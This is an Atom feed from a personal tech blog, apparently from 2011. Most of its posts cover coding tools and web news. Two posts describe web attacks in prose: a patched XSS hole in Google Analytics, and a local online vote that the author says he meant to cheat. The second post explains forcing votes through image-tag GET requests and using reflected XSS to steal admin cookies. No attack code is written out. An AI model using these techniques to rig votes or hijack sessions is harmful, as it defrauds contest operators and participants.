<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;CE4GQXk5eyp7ImA9WhVUFk0.&quot;"><id>tag:blogger.com,1999:blog-6979125180851784848</id><updated>2012-05-21T05:22:00.723-07:00</updated><category term="tools" /><category term="news" /><category term="Game" /><category term="avatar" /><category term="malware" /><category term="how to" /><category term="facial recognition" /><category term="hosting" /><category term="privacy" /><category term="analytics" /><category term="open source" /><category term="wells fargo" /><category term="SQL injection" /><category term="simpsons" /><category term="chrome" /><category term="picasa" /><category term="cisco" /><category term="jerk" /><category term="caffeine" /><category term="adwords" /><category term="css" /><category term="web 2.0" /><category term="extension" /><category term="spam" /><category term="cpanel" /><category term="dragon" /><category term="shortner" /><category term="realtime" /><category term="link" /><category term="Droid X" /><category term="xss" /><category term="invite" /><category term="tv" /><category term="redirect" /><category term="review" /><category term="easter eggs" /><category term="google plus" /><category term="asp" /><category term="facebook" /><category term="attack" /><category term="cloak" /><category term="pleading" /><category term="friendfeed" /><category term="security" /><category term="tracking" /><category term="leak" /><category term="automatic" /><category term="XML" /><category term="aviary" /><category term="retweet" /><category term="Google caffeine" /><category term="blog tips" /><category term="houston" /><category term="wordpress" /><category term="beta" /><category term="stolen code" /><category term="seomoz" /><category term="Google Analytics" /><category term="monopoly" /><category term="plan" /><category term="city streets" /><category term="hulu" /><category term="spread" /><category term="insights" /><category term="VPS" /><category term="ninja" /><category term="proxies" /><category term="bit.ly" /><category term="verify" /><category term="widget" /><category term="prototype" /><category term="json" /><category term="google" /><category term="technorati" /><category term="yahoo" /><category term="bounce rate" /><category term="javascript" /><category term="ipad" /><category term="gtalk" /><category term="hacking" /><category term="gadget" /><category term="photos" /><category term="viral marketing" /><category term="Augmented Reality" /><category term="visualizations" /><category term="bing" /><category term="social networking" /><category term="wonder wheel" /><category term="carter" /><category term="browser" /><category term="tarot" /><category term="404" /><category term="code" /><category term="Android" /><category term="wave" /><category term="embed" /><category term="branding" /><category term="roger" /><category term="update" /><category term="dictation" /><category term="south park" /><category term="photo editing" /><category term="bot" /><category term="social engineering" /><category term=".tk" /><category term="aol" /><category term="ajax" /><category term="guru" /><category term="newspaper" /><category term="webmaster" /><category term="syntax highlighting" /><category term="datediff" /><category term="Motorola" /><category term="Java" /><category term="web beacon" /><category term="API" /><category term="ie" /><category term="tip" /><category term="fast flip" /><category term="PHP" /><category term="captcha" /><category term="SEO" /><category term="sql" /><category term="servers" /><category term="twitter" /><category term="Flickr" /><category term="search" /><category term="reader" /><category term="profile" /><category term="keywords" /><title>Carter Cole's Blog</title><subtitle type="html">CarterCole.com
- a 21 yr old developer from houston, texas 
security,code,technology,gadgets,programing,social media, SEO</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://blog.cartercole.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://blog.cartercole.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>Carter Cole</name><uri>https://profiles.google.com/105563738783660236721</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-YihDT_p-bhE/AAAAAAAAAAI/AAAAAAAAAAA/sE1FR8DcpkM/s512-c/photo.jpg" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>92</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/Cartercole" /><feedburner:info uri="cartercole" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><geo:lat>29.734379</geo:lat><geo:long>-95.522694</geo:long><link rel="license" type="text/html" href="http://creativecommons.org/licenses/by-sa/3.0/" /><feedburner:emailServiceId>Cartercole</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><entry gd:etag="W/&quot;D04GSXs-eip7ImA9WhRXEkk.&quot;"><id>tag:blogger.com,1999:blog-6979125180851784848.post-4969740813776867511</id><published>2011-12-12T10:19:00.001-08:00</published><updated>2011-12-18T14:05:28.552-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-18T14:05:28.552-08:00</app:edited><title>The XSS hole I found in Google Analytics</title><content type="html">&lt;div class="separator" style="clear: both; text-align: center;"&gt;
So it looks like Google has patched this hole so ill run though what I did where it was and how they could have prevented it. It all comes down to one rule. Sanitize all user inputs no matter what. This persistent XSS hole I found was in the protocol field... you can see how I was able to inject an&amp;nbsp;unauthorized&amp;nbsp;protocol for the sites profile&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-vSHLhN69y80/TuvNn0h65DI/AAAAAAAABeQ/skx-n3Hdk5c/s1600/cromeotcol.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="104" src="http://3.bp.blogspot.com/-vSHLhN69y80/TuvNn0h65DI/AAAAAAAABeQ/skx-n3Hdk5c/s320/cromeotcol.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
The exposure of this attach was very minimal... they didnt validate the&amp;nbsp;protocol&amp;nbsp;against the list of options provided. Even though this has been fixed I still have a profile that has chromes special protocol on the analytics of one of my&amp;nbsp;extensions&lt;br /&gt;
&lt;br /&gt;
By using the chrome developer inspector you can modify the option list and add any protocol you want, well at least when it worked&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-J641elWvKFk/TuvNoU-v-UI/AAAAAAAABeY/VELa_MCF81A/s1600/devedit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="236" src="http://2.bp.blogspot.com/-J641elWvKFk/TuvNoU-v-UI/AAAAAAAABeY/VELa_MCF81A/s320/devedit.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
Now that they have fixed it this is the message that the ui shows when you try and send the unsupported prototcol&lt;/div&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-TSIi3L52RDc/TuvNoh7yrXI/AAAAAAAABeg/HZfJyx7TnE4/s1600/fixedxss.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="130" src="http://2.bp.blogspot.com/-TSIi3L52RDc/TuvNoh7yrXI/AAAAAAAABeg/HZfJyx7TnE4/s320/fixedxss.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://twitter.com/cartercole" title="Carter Cole on twitter"&gt;follow me on twitter im @cartercole&lt;/a&gt;

&lt;a href="http://blog.cartercole.com" title="carter cole's technology blog"&gt;This feed is from my technology blog&lt;/a&gt;

&amp;copy; Copyright 2010 CarterCole.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6979125180851784848-4969740813776867511?l=blog.cartercole.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Cartercole/~4/7nv8aUzGCKw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.cartercole.com/feeds/4969740813776867511/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.cartercole.com/2011/12/xss-hole-i-found-in-google-analytics.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/4969740813776867511?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/4969740813776867511?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Cartercole/~3/7nv8aUzGCKw/xss-hole-i-found-in-google-analytics.html" title="The XSS hole I found in Google Analytics" /><author><name>Carter Cole</name><uri>https://profiles.google.com/105563738783660236721</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-YihDT_p-bhE/AAAAAAAAAAI/AAAAAAAAAAA/sE1FR8DcpkM/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-vSHLhN69y80/TuvNn0h65DI/AAAAAAAABeQ/skx-n3Hdk5c/s72-c/cromeotcol.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://blog.cartercole.com/2011/12/xss-hole-i-found-in-google-analytics.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkUASHgzfip7ImA9WhRQGE0.&quot;"><id>tag:blogger.com,1999:blog-6979125180851784848.post-3910753153681222548</id><published>2011-12-12T08:48:00.001-08:00</published><updated>2011-12-13T11:24:09.686-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-13T11:24:09.686-08:00</app:edited><title>Github badges the easy way</title><content type="html">I have a big problem with scope creep... its one of the things ive been trying to work on as a developer but its just funny to me that I would have scope creep on a blog post. This entire post came out as scope creep of my previos post because I wanted an easy way to add one of the Github ribbons that say "fork this repo". My problem came when i tried to &lt;a href="https://github.com/blog/273-github-ribbons"&gt;use the code from this page&lt;/a&gt; on github blog but it didnt work unless it was injected into the body... so i decided to write a simple script to inject the badge with javascript so all you have to do is include a little script tag with your username, the repo and what color and it would automatically drop it on the page&lt;br /&gt;
&lt;script type="syntaxhighlighter" class="brush: html"&gt;&lt;![CDATA[
&amp;lt;script src=&amp;quot;http://cartercole.com/ghc.asp?repo=node-gspell&amp;amp;side=left&amp;amp;color=white&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
]]&gt;&lt;/script&gt;
&lt;br/&gt;
These are the options you can pass in the querystring to change how it will be rendered
&lt;code&gt;&amp;amp;usr=&lt;/code&gt; This is your github username&lt;br/&gt;
&lt;code&gt;&amp;amp;repo=&lt;/code&gt; This is the repo to link to&lt;br/&gt;
&lt;code&gt;&amp;amp;side=&lt;/code&gt; What side ['left' or 'right']&lt;br/&gt;
&lt;code&gt;&amp;amp;color=&lt;/code&gt; The color of the ribbon ['red','orange','dblue','lgrey','green','white']&lt;br/&gt;
&lt;br /&gt;If you want to implement something thats not cross browser then you should check this out. I really like &lt;a rel="nofollow" href="http://www.hagenburger.net/BLOG/3d-Github-badge-with-pure-CSS3.html"&gt;what this guy did with his css3 version&lt;/a&gt; that has a special message when you mouseover
&lt;br&gt;&lt;br&gt;And just so you can see what gets onto the pages... you can choose left or right the colors are the same
&lt;br&gt;&lt;br&gt;
&lt;img src="https://a248.e.akamai.net/assets.github.com/img/5d21241b64dc708fcbb701f68f72f41e9f1fadd6/687474703a2f2f73332e616d617a6f6e6177732e636f6d2f6769746875622f726962626f6e732f666f726b6d655f6c6566745f7265645f6161303030302e706e67"&gt;
&lt;img src="https://a248.e.akamai.net/assets.github.com/img/edc6dae7a1079163caf7f17c60495bbb6d027c93/687474703a2f2f73332e616d617a6f6e6177732e636f6d2f6769746875622f726962626f6e732f666f726b6d655f6c6566745f677265656e5f3030373230302e706e67"&gt;
&lt;img src="https://a248.e.akamai.net/assets.github.com/img/bec6c51521dcc8148146135149fe06a9cc737577/687474703a2f2f73332e616d617a6f6e6177732e636f6d2f6769746875622f726962626f6e732f666f726b6d655f6c6566745f6461726b626c75655f3132313632312e706e67"&gt;
&lt;img src="https://a248.e.akamai.net/assets.github.com/img/6429057dfef9e98189338d22e7f6646c6694f032/687474703a2f2f73332e616d617a6f6e6177732e636f6d2f6769746875622f726962626f6e732f666f726b6d655f6c6566745f6f72616e67655f6666373630302e706e67"&gt;
&lt;img src="https://a248.e.akamai.net/assets.github.com/img/ce742187c818c67d98af16f96ed21c00160c234a/687474703a2f2f73332e616d617a6f6e6177732e636f6d2f6769746875622f726962626f6e732f666f726b6d655f6c6566745f677261795f3664366436642e706e67"&gt;
&lt;img src="https://a248.e.akamai.net/assets.github.com/img/c641758e06304bc53ae7f633269018169e7e5851/687474703a2f2f73332e616d617a6f6e6177732e636f6d2f6769746875622f726962626f6e732f666f726b6d655f6c6566745f77686974655f6666666666662e706e67"&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://twitter.com/cartercole" title="Carter Cole on twitter"&gt;follow me on twitter im @cartercole&lt;/a&gt;

&lt;a href="http://blog.cartercole.com" title="carter cole's technology blog"&gt;This feed is from my technology blog&lt;/a&gt;

&amp;copy; Copyright 2010 CarterCole.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6979125180851784848-3910753153681222548?l=blog.cartercole.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Cartercole/~4/pGzi-c1zLFU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.cartercole.com/feeds/3910753153681222548/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.cartercole.com/2011/12/github-badges-easy-way.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/3910753153681222548?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/3910753153681222548?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Cartercole/~3/pGzi-c1zLFU/github-badges-easy-way.html" title="Github badges the easy way" /><author><name>Carter Cole</name><uri>https://profiles.google.com/105563738783660236721</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-YihDT_p-bhE/AAAAAAAAAAI/AAAAAAAAAAA/sE1FR8DcpkM/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.cartercole.com/2011/12/github-badges-easy-way.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkYNQHc9cCp7ImA9WhRQFkg.&quot;"><id>tag:blogger.com,1999:blog-6979125180851784848.post-2162542893453417656</id><published>2011-12-10T22:46:00.001-08:00</published><updated>2011-12-11T18:49:51.968-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-11T18:49:51.968-08:00</app:edited><title>Spelling in Node just got easier with gSpell</title><content type="html">I've been doing alot of programming in node.js and I like to play with undocumented APIs so it seems natural when I needed to do some spell checking I decided to use the undocumented XML API that Google uses to do spell-checking in the firefox toolbar. I published the package into npm (the package manager for node.js) so to install all you have to do is
&lt;br&gt;&lt;br&gt;
&lt;code&gt;npm install gspell&lt;/code&gt;
&lt;br&gt;&lt;br&gt;
and its easy to check any text and it seems to be able to process pretty long strings the script below shows how to check a string of text&lt;script type="syntaxhighlighter" class="brush: js;"&gt;&lt;![CDATA[var spell = require('gspell');

spell.check('ths is a tst ub the spell chek spetem',function(err,res){
console.log(res);
});]]&gt;&lt;/script&gt;
it returns the result as the second argument to the callback function. Heres a JSON dump of the object it returns. in the array c there is an object for each spelling mistake. Ive actually augmented the results the api returns to add the word it found that it thinks was mispelled
&lt;script type="syntaxhighlighter" class="brush: js;"&gt;&lt;![CDATA[
{ dta: { error: '0', clipped: '0', charschecked: '39' },
  c:
   [ { opts: [ 'this', 'Th\'s', 'thus', 'Th', 'HS' ],
       dta: { wrd: 'hs ', lvl: '1', len: '3', offset: '1' } },
     { opts: [ 'test', 'tat', 'ST', 'St', 'st' ],
       dta: { wrd: 'st ', lvl: '1', len: '3', offset: '10' } },
     { opts: [ 'in', 'bu', 'UCB', 'Yb', 'UN', 'UV' ],
       dta: { wrd: 'b ', lvl: '1', len: '2', offset: '14' } },
     { opts: [ 'check', 'cheek', 'Che', 'Cher', 'chew' ],
       dta: { wrd: 'hek ', lvl: '1', len: '4', offset: '27' } },
     { opts: [ 'septum', 'sputum', 'sperm', 'stem', 'septet' ],
       dta: { wrd: 'petem', lvl: '0', len: '6', offset: '32' } } ] }

]]&gt;&lt;/script&gt;
 I used xml2js to parse the XML the REST API returns and request to make the http calls. If you know of any changes that should be made just fork the repo and make a pull request
&lt;script src="http://cartercole.com/ghc.asp?repo=node-gspell"&gt;&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://twitter.com/cartercole" title="Carter Cole on twitter"&gt;follow me on twitter im @cartercole&lt;/a&gt;

&lt;a href="http://blog.cartercole.com" title="carter cole's technology blog"&gt;This feed is from my technology blog&lt;/a&gt;

&amp;copy; Copyright 2010 CarterCole.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6979125180851784848-2162542893453417656?l=blog.cartercole.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Cartercole/~4/xpreEawFDTE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.cartercole.com/feeds/2162542893453417656/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.cartercole.com/2011/12/spelling-in-node-just-got-easier-with.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/2162542893453417656?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/2162542893453417656?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Cartercole/~3/xpreEawFDTE/spelling-in-node-just-got-easier-with.html" title="Spelling in Node just got easier with gSpell" /><author><name>Carter Cole</name><uri>https://profiles.google.com/105563738783660236721</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-YihDT_p-bhE/AAAAAAAAAAI/AAAAAAAAAAA/sE1FR8DcpkM/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.cartercole.com/2011/12/spelling-in-node-just-got-easier-with.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkcAR308cCp7ImA9WhRQEko.&quot;"><id>tag:blogger.com,1999:blog-6979125180851784848.post-3814800581017669619</id><published>2011-12-07T09:14:00.000-08:00</published><updated>2011-12-07T09:14:06.378-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-07T09:14:06.378-08:00</app:edited><title>Godaddy Extortion for a Wordpress Install</title><content type="html">&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-0UWlPA0_6zw/Tt2sOHwSxcI/AAAAAAAABd8/InzPbgF_gTs/s1600/extortion.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="408" src="http://4.bp.blogspot.com/-0UWlPA0_6zw/Tt2sOHwSxcI/AAAAAAAABd8/InzPbgF_gTs/s640/extortion.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
I want this post to be a quick one but I hope it points out the type of crap companies do to try and grab money. Most cPanel (its the most&amp;nbsp;common&amp;nbsp;hosting control panel) installations have some kind of autoinstaller for open source packages, and wordpress itself is a super easy install but some hosting companies try and get you to pay for more than you need. Most hosting bandwidth for small sites is never used... they buy too big a package and the truth is its best to start small and upgrade when you need to.
&lt;br&gt;&lt;br&gt;
Godaddy seems to be getting into this practice of overselling services... I understand the upsell when im checking out but the truth is for most domains I dont need to buy the common&amp;nbsp;spelling&amp;nbsp;mistakes for my domain or every single ccTld but hey you try and sell and we decline that fine. When I saw this I was just kinda sick, I can do a Wordpress install in less than 10 min but most users cant so what does Godaddy do? They make it so the novice users has to pay more to install something that super easy anyways and has many tools that allow it to be auto-installed. There is no reason Godaddy to charge extra for installing the application, it costs them&amp;nbsp;absolutely&amp;nbsp;nothing to host those tiny Wordpress blogs and they are just doing a money grab and adding no value...&amp;nbsp;
&lt;br&gt;&lt;br&gt;
SO if you need a Wordpress blog fast and cheap just go here and send me 5 bucks... ill get you setup for a one time fee and you wont have to keep paying those hosting companies for a bunch of bandwidth you dont need just so you can install Wordpress easily
&lt;h1&gt;&lt;a href="http://fiverr.com/cartercole/install-wordpress-and-plugins-and-themes-with-google-apps-standard"&gt;Get Wordpress setup for 5$&lt;/a&gt;&lt;/h1&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://twitter.com/cartercole" title="Carter Cole on twitter"&gt;follow me on twitter im @cartercole&lt;/a&gt;

&lt;a href="http://blog.cartercole.com" title="carter cole's technology blog"&gt;This feed is from my technology blog&lt;/a&gt;

&amp;copy; Copyright 2010 CarterCole.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6979125180851784848-3814800581017669619?l=blog.cartercole.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Cartercole/~4/X2sFhMaxScA" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.cartercole.com/feeds/3814800581017669619/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.cartercole.com/2011/12/godaddy-extortion-for-wordpress-install.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/3814800581017669619?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/3814800581017669619?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Cartercole/~3/X2sFhMaxScA/godaddy-extortion-for-wordpress-install.html" title="Godaddy Extortion for a Wordpress Install" /><author><name>Carter Cole</name><uri>https://profiles.google.com/105563738783660236721</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-YihDT_p-bhE/AAAAAAAAAAI/AAAAAAAAAAA/sE1FR8DcpkM/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-0UWlPA0_6zw/Tt2sOHwSxcI/AAAAAAAABd8/InzPbgF_gTs/s72-c/extortion.JPG" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://blog.cartercole.com/2011/12/godaddy-extortion-for-wordpress-install.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEQESHs-fip7ImA9WhRQEUk.&quot;"><id>tag:blogger.com,1999:blog-6979125180851784848.post-7647167182567830602</id><published>2011-12-05T12:09:00.001-08:00</published><updated>2011-12-05T19:31:49.556-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-05T19:31:49.556-08:00</app:edited><title>Google gets graphing (and copies Bing / Wolfram Alpha)</title><content type="html">One of the things Bing first did while they were trying to catch up with Google was partner with &lt;a href="http://www.wolframalpha.com/input/?i=cartercole.com"&gt;Wolfram Alpha&lt;/a&gt; the computational knowledge engine and it gave them the ability to graph math functions and such... it was actually pretty cool. I was like hey now i have a reason to go do a Bing query... so i had a little giggle today when i read the post on their blog &lt;a href="http://insidesearch.blogspot.com/2011/12/showing-some-love-to-math-lovers.html"&gt;"Showing some love to math lovers"&lt;/a&gt;&amp;nbsp;where they are now doing graphs just like bing has (with the&amp;nbsp;Google&amp;nbsp;rainbow logo colors of course )&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-Lt3g9S15Huo/Tt2LWw_SkxI/AAAAAAAABd0/JNoYRJOfspU/s1600/multigraph.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="178" src="http://1.bp.blogspot.com/-Lt3g9S15Huo/Tt2LWw_SkxI/AAAAAAAABd0/JNoYRJOfspU/s320/multigraph.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
its actually pretty cool im looking for more cool equations so comment if you know any good ones... and with that i leave you with the idea that the big g can now graph love&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-yVgT4ibMbz0/Tt2LWsbDXMI/AAAAAAAABds/R9-h61jREwA/s1600/gsearchlove.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="190" src="http://3.bp.blogspot.com/-yVgT4ibMbz0/Tt2LWsbDXMI/AAAAAAAABds/R9-h61jREwA/s320/gsearchlove.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://twitter.com/cartercole" title="Carter Cole on twitter"&gt;follow me on twitter im @cartercole&lt;/a&gt;

&lt;a href="http://blog.cartercole.com" title="carter cole's technology blog"&gt;This feed is from my technology blog&lt;/a&gt;

&amp;copy; Copyright 2010 CarterCole.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6979125180851784848-7647167182567830602?l=blog.cartercole.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Cartercole/~4/IwdjCTxPhnM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.cartercole.com/feeds/7647167182567830602/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.cartercole.com/2011/12/showing-some-love-to-math-lovers-google.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/7647167182567830602?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/7647167182567830602?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Cartercole/~3/IwdjCTxPhnM/showing-some-love-to-math-lovers-google.html" title="Google gets graphing (and copies Bing / Wolfram Alpha)" /><author><name>Carter Cole</name><uri>https://profiles.google.com/105563738783660236721</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-YihDT_p-bhE/AAAAAAAAAAI/AAAAAAAAAAA/sE1FR8DcpkM/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-Lt3g9S15Huo/Tt2LWw_SkxI/AAAAAAAABd0/JNoYRJOfspU/s72-c/multigraph.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://blog.cartercole.com/2011/12/showing-some-love-to-math-lovers-google.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkcNQ30_fCp7ImA9WhRQEUw.&quot;"><id>tag:blogger.com,1999:blog-6979125180851784848.post-8722092264829134688</id><published>2011-12-05T10:28:00.000-08:00</published><updated>2011-12-05T10:34:52.344-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-05T10:34:52.344-08:00</app:edited><title>How to "Hack the vote"</title><content type="html">I often like to tinker with computer security, it provides alot of cool problems to solve and when im able to figure something out im excited because beyond script kiddie SQL injection (on my own databases) and some XSS im a pretty tame "hacker" (i did find a hole in Wells Fargo) so I happen upon a online voting contest running locally in Houston and I assumed they built their own voting system and i wanted to know what precautions they took against cheating. Its a hard problem to solve, i mean "click fraud" by Google made Bing look foolish and then there are things like astorturfing with mechanical turk so its a hard problem to solve and might not be the best case for "roll your own"&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://houston.culturemap.com/site_media/uploads/photos/2011-02-25/challenge_bracket.800w_600h.jpg" imageanchor="1" rel="nofollow" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://houston.culturemap.com/site_media/uploads/photos/2011-02-25/challenge_bracket.800w_600h.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
So anyways these CultureMap guys wrote a post about &lt;a href="http://culturemap.com/newsdetail/02-25-11-hack-the-vote-final-four-restaurant-challenge-thrawts-an-attempt-to-game-the-system/" rel="nofollow"&gt;how they caught a cheater&lt;/a&gt;... The funny thing is I had already asked my boss if we wanted&amp;nbsp;to&amp;nbsp;cheat at this... and i was going to cheat the right way. (so it all looks natural and you dont get caught) As I dug into reverse engineering their system it turns out they used a simple GET request for voting which&amp;nbsp;brings&amp;nbsp;up some&amp;nbsp;interesting&amp;nbsp;issues. First if its a simple GET request is all you need then you can make a webpage that makes people autovote by dropping the vote url into the src of an image&amp;nbsp;element (then when it&amp;nbsp;tries&amp;nbsp;to load the image it autovotes)&amp;nbsp;you also run the risk of GoogleBot crawling and voting... this was a big problem in the early days where the "delete" link in some admin dashboard somehow was publicly crawled and everything got deleted as google crawled each delete link. Same thing happened to their system... you can &lt;a href="https://www.google.com/search?q=site:http%3A%2F%2Fculturemap.com%2Ftournament%2Fchallenge%2F+inurl%3A%22%3Fmessage%3D%22" rel="nofollow"&gt;see in this google query&lt;/a&gt; all the "Thanks for voting" messages google saw and indexed. That means that google got its say in who won the contest :) and another issue with this voting thank you page is that anything you put into the url is written directly to the page.We call that an XSS or Cross Site Scripting attack... that will let me craft urls to do all kinds of fun stuff like make you link to me or steal the login cookies to your admin section. Heres just one example of &lt;a href="http://j.mp/cultmapxss"&gt;what you can do injecting stuff into a page&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
